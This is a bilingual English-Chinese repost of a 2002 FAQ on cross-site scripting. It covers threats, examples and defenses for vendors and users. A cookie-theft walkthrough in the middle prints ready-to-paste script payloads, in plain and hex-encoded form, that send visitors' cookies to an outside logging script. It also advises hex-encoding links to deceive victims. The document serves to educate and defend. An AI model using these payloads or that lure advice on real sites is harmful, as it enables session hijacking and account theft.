绪论
Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved through the use of web applications which can deliver different output to a user depending on their settings and needs. Dynamic websites suffer from a threat that static websites don't, called "Cross Site Scripting" (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explain them to an average person or administrator. This FAQ was written to provide a better understanding of this emerging threat, and to give guidance on detection and prevention.
今天的网站比以前的复杂多了，包含很多动态的内容，使得用户更能体验快乐。动态内容通过使用web应用来实现的，这种web应用能根据用户不同的设定传送给用户不同的内容。动态网站遭受到静态网站没有的威胁，叫做“交叉站点脚本”（或者其他的安全专家所称的XSS）。虽然当前有关于交叉站点脚本的少量信息存在，但是没有人真正把它们解释给普通的平民和管理人员听。写这篇常见问题解答（FAQ）就是为了让人对这种威胁更好的理解，指导对它们检测和预防。
"What is Cross Site Scripting?"
“什么是交叉站点脚本？”
Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and javascript embedded in them. If for example I was logged in as "john" and read a message by "joe" that contained malicious javascript in it, then it may be possible for "joe" to hijack my session just by reading his bulletin board post. Further details on how attacks like this are accomplished via "cookie theft" are explained in detail below.
当web应用从用户收集恶意数据时，交叉站点脚本（也是所谓的XSS）也就发生了。数据常常通过超级链接的形式聚集起来，而这些链接包含恶意的内容用户很可能在其他站点，即时信息，或仅仅简单的阅读web网页或email信息就点击这些链接。通常攻击者会把链接中的恶意内容编码成HEX（或其他编码方法），所以减少了用户点击时的怀疑。在web应用收集了数据之后，它就给用户创造一个输出页面，这个页面包含最初发送过来的恶意数据，但是在形式上让它看起来是网站上有效的内容。许多受欢迎的guestbook和论坛程序都允许用户提交含有html和javascript的内容。例如，如果我以“john”登记，阅读一个“joe”的信息，这个信息中包含恶意javascript，这就使得仅仅通过读他的公告版留言“joe”就能攻击我的会话。关于类似这种通过“cookie盗窃”完成的攻击的更多细节会在下面详细的讲述。
"What does XSS and CSS mean?"
“XSS和CSS意味着什么？”
Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say "I found a XSS hole", they are talking about Cross Site Scripting for certain.
人们常常把Cross Site Scripting称为CSS。Cascading Style Sheets (CSS)和cross site scripting有很多混淆。某些安全人员把Cross Site Scripting称为XSS。如果你听到某人数“我发现一个XSS漏洞”，他们一定是在说Cross Site Scripting。
"What are the threats of Cross Site Scripting?"
“Cross Site Scripting的威胁是什么？”
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user (Read below for further details) in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks. The post below by Brett Moore brings up a good point with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply reads a post on a message board.
攻击者常常向易受攻击的应用注入JavaScript, VBScript, ActiveX, HTML, 或 Flash，来愚弄用户（更多细节见下）以达到从他们那里收集数据的目的。帐户攻击的每一件事都是可能的，像更改用户设定，cookie盗窃/陷阱，虚假广告等等。关于XSS攻击的新的恶意使用每天都被发现。下面Brett Moore的帖子带来一个好的指向——考虑“拒绝服务”。并且，如果用户仅仅是简单的在信息栏阅读帖子，就隐藏主机的“自动攻击”。
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
"What are some examples of cross site scripting attacks?"
“交叉站点脚本攻击的一些例子是什么？”
One product with many XSS holes is the popular PHP program PHPnuke. This product is often targeted by attackers to probe for XSS holes because of its popularity. I have included a few links of advisories/reports that have been discovered and disclosed just from this product alone. The following collection should provide plenty of examples.
一个带有XSS漏洞的产品是广受欢迎的PHP程序PHPnuke。因为广受欢迎，这个产品常常成为攻击者探测XSS漏洞的目标。我已经链接了单单从这个产品上发现和揭露的XXS漏洞的报告。下面的收集应该能提供大量的例子。
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
"Can you show me what XSS cookie theft looks like?"
“XSS cookie盗窃看起来如何，你能将演示给我吗？”
Depending on the particular web application some of the variables and positioning of the injections may need to be adjusted. Keep in mind the following is a simple example of an attacker's methodology. In our example we will exploit a cross site scripting hole in a perimeter of "a.php" called "variable" via a normal request. This is the most common type of cross site scripting hole that exists.
依据受欢迎的web应用注入的一些变量和位置可能需要调整。一定要记住下面是攻击者方法的简单例子。在例子中我们在“a.php”中将要开发一个交叉站点脚本漏洞，“a.php” 通过正常请求调用“变量”。这是存在的交叉站点脚本漏洞的最普遍的类型。
Step 1: Targeting
步骤1：选择目标
After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them from its users.
在站点的一个web应用中，发现了一个XSS漏洞之后，检查它是否开放了cookies。如果站点的任何部分都使用cookies，就可能从他们的使用者手中盗取它们。
Step 2: Testing
步骤2：测试
Since XSS holes are different in how they are exploited, some testing will need to be done in order to make the output believable. By inserting code into the script, its output will be changed and the page may appear broken. (The end result is crucial and the attacker will have to do some touching up in the code to make the page appear normal.) Next you will need to insert some Javascript (or other client side scripting language) into the URL pointing to the part of the site which is vulnerable. Below I have provided a few links that are for public use when testing for XSS holes. These links below, when clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie then session hijacking of the user's account may be possible.
因为XSS漏洞如何被开发出来是不同的，为了使得输出可信需要做一些测试。通过向脚本的插入代码，脚本的输出被改变，页面可能出现损坏。（最后后果是残酷的，攻击者将不得不对代码改良来让页面看起来正常。）下一步你需要向指向易受攻击的站点的URL中插入一些Javascript（或其他客户侧的脚本语言），下面我已经提供了一些让公众使用来测试XSS漏洞的链接。下面这些链接，点击时会将用户的cookie传送到www.cgisecurity.com/cgi-bin/cookie.cgi，并显示它。如果你看到显示cookie的页面，用户帐户的会话攻击就是有可能的。
Cookie theft Javascript Examples.
Cookie 盗取Javascript例子
A example of usage is below.
例子的用法如下。
ASCII Usage:
ASCII用法
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
Hex Usage:
Hex用法
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.
注意：请求最初以ASCII显示，然后为了复制和粘贴的目的使用Hex。
1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
These are the examples of "evil" Javascript we will be using. These Javascript examples gather the users cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script on cgisecurity.com logs each request and each cookie. In simple terms it is doing the following:
这是我们将要使用的“evil”Javascript例子。这些Javascript例子收集用户cookie，然后发送一个请求到cgisecurity.com站点，在cgisecurity.com上的我的脚本记录每一个请求和cookie。简单的方面它要做的如下：
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
It sends a request to my site that looks like this.
它发送一个像这样的请求到我的站点。
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)
This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log
这是夺取用户的cookie的最初的但是很有效的途径。使用这些公共脚本的日志可以在这里找到www.cgisecurity.com/articles/cookie-theft.log
Step 3: XSS Execution
步骤3：XSS执行
Hand out your crafted url or use email or other related software to help launch it. Make sure that if you provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few people.
分发你巧妙的url或者使用email或其他的相关软件来帮助发送它。确保如果你向用户提供URL （通过email，aim或其他途径），你至少要对它进行HEX编码。代码明显看起来可疑，但是一堆hex字符或许会愚弄少数人。
In my example I only forward the user to cookie.cgi. A attacker with more time could do a few redirects and XSS combo's to steal the user's cookie, and return them to the website without noticing the cookie theft.
在我的例子中，我仅仅是把用户转送到cookie.cgi。一个有更多时间的攻击者能做一些重定向和XSS的联合体，来盗取用户的cookie，然后在没有注意到cookie丢失的情况下，返回给他们一些站点。
Some email programs may execute the Javascript upon the opening of a message or if the Javascript is contained in a message attachment. Larger sites like Hotmail do allow Javascript inside attachments but they do special filtering to prevent cookie theft.
利用信息的开放或者如果Javascript包含在附件中，一些email程序可以执行Javascript。像Hotmail这样较大的网站允许Javascript包含在附件中，但是他们做一些特殊过虑来阻止cookie盗取。
Step 4: What to do with this data
步骤4：用这些数据来做什么
Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI script. Now that you have the cookie you can use a tool like Websleuth to see if account hijacking is possible.
一旦你让用户执行了XSS漏洞，就可以收集数据并发送你的CGI脚本。既然你有了cookie你可以使用像Websleuth这样的工具来查看攻击帐户是否可能。
This is only a FAQ, not a detailed paper on cookie theft and modification. A new paper released by David Endler of iDefense goes into more detail on some of the ways to automatically launch XSS holes. This paper can be found at http://www.idefense.com/XSS.html.
这仅仅是个常见问题解答，不是关于cookie盗取和更改的详细论文。由iDefense的David Endle新发表的一篇论文涉及到了一些自动发送XSS漏洞的方法更多细节。这篇论文可以在这里得到http://www.idefense.com/XSS.html。
"What can I do to protect myself as a vendor?"
“作为一个卖主我能做什么来保护我自己呢？”
This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to ( and ), and also # and & by translating them to # (#) and & (&).
这是个简单的答案。永远不要信任用户的输入并常常过虑元字符。这将消除大部分XSS攻击。当输出脚本时，建议把< and >转化成< 和>。记住如果得到滥用，XSS漏洞能给你的生意带来很大的损失。攻击者常常把这些漏洞泄露给公众，这将破坏客户和公众对你公司网站的安全和隐私的信任。单独过虑< and >不能解决所有的交叉站点脚本攻击，建议你通过转化把它们转化成# (#) and & (&)来过虑掉( and )。
"What can I do to protect myself as a user?"
“作为用户我能做什么来保护我自己呢？”
The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. If you visit one website and it links to CNN for example, instead of clicking on it visit CNN's main site and use its search engine to find the content. This will probably eliminate ninety percent of the problem. Sometimes XSS can be executed automatically when you open an email, email attachment, read a guestbook, or bulletin board post. If you plan on opening an email, or reading a post on a public board from a person you don't know BE CAREFUL. One of the best ways to protect yourself is to turn off Javascript in your browser settings. In IE turn your security settings to high. This can prevent cookie theft, and in general is a safer thing to do.
作为个用户，保护自己最简单的方法时仅仅从你希望浏览的主要网站上点击链接。例如，如果你访问一个链接着CNN站点，访问CNN的主要网站而不是在它上面点击链接，并使用它的搜索引擎来查找内容。这将可能消除百分之九十的问题。当你打开email，email附件，阅读guestbook，或公告栏时，有时候XSS能自动的执行。如果你打算打开一个email，或阅读一个个人公告栏上的帖子时，你不知道小心。保护自己最好的方法时在你的浏览器设置中关闭掉Javascript。在IE中把你的安全级别设置的高点。这能阻止cookie盗窃，一般来讲是要做的更安全的事情。公告ailbookty
"How common are XSS holes?"
“XSS漏洞有多普遍？”
Cross site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.
作为在大型网站上很容易找到的漏洞，交叉站点脚本漏洞在黑客中广受欢迎。像FBI.gov，CNN.com，Time.com，Ebay，Yahoo，Apple computer，Microsoft，Zdnet，Wired，和Newsbytes这些网站都有一种或其他形式的XSS bugs。
Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the threat.
在商业产品中每月大约有10－25个XSS漏洞被发现，同时出版10－25个报告来解释这种威胁。
"Does encryption protect me?"
“加密能保护我吗？”
Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications work the same way as before, except the attack is taking place in an encrypted connection. People often think that because they see the lock on their browser it means everything is secure. This just isn't the case.
使用SSL（https）的网站决不会比没有加密的网站更能受到保护。除了攻击发生在加密的连接中，Web应用和以前一样的运行。人们常常想，因为他们看到他们的浏览器上锁了，就意味着什么事情都是安全的。这一点都不对。
"Can XSS holes allow command execution?"
“XSS漏洞允许命令执行吗？”
XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser flaw (browser hole) it could then be possible to execute commands on the client's side. If command execution were possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes that may exist in your browser.
XSS漏洞能允许Javascript注入，这种注入考虑了有限的执行。如果一个攻击者发现了浏览器漏洞，就可能在客户端执行命令。如果命令的执行是可能的，也是仅仅局限于客户端的。简单来讲，XSS漏洞能用来发现其他的存在你浏览器中的漏洞。
"What if I don't feel like fixing a CSS/XSS Hole?"
“如果我不想给CSS/XSS漏洞打补丁，我应该怎样做？”
By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left unrepaired, someone may discover it and publish a warning about your company. This may damage your company's reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you aren't dealing with every problem that arises, which turns into a trust issue. If your client doesn't trust you why would they wish to do business with you?
不补上XSS漏洞，这让可能的用户账户在他们打补丁或升级时危及到你网站的部分安全。最近，交叉站点脚本已经在各种各样的大型网站上发现了，并被广泛地宣传了。放在那里不管它，可能有人发现它并发布一个你公司的警告。通过描述你公司安全非常松懈，可能损害你公司的声誉。这当然能给你客户这样的信息——你不能处理每一个出现的问题，导致信任危机。如果你的客户不信任你，他们为何还要和你做生意呢？
"What are some links I can visit to help me further understand XSS?"
“通过哪些链接能帮我对XSS了解的更多？”
"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html
Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
在CGI脚本中从User Supplied Data中去处元字符的论文
http://www.cert.org/tech_tips/cgi_metacharacters.html
Paper on Microsoft's Passport System
关于Microsoft的护照系统的论文
http://eyeonsecurity.net/papers/passporthijack.html
Paper on Cookie Theft
关于cookie盗窃的论文
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies
The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com
Many Thanks to David Endler for reviewing this document.
非常感谢David Endler评论这篇文档
Published to the Public May 2002
Copyright May 2002 Cgisecurity.com
扫一扫
730
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
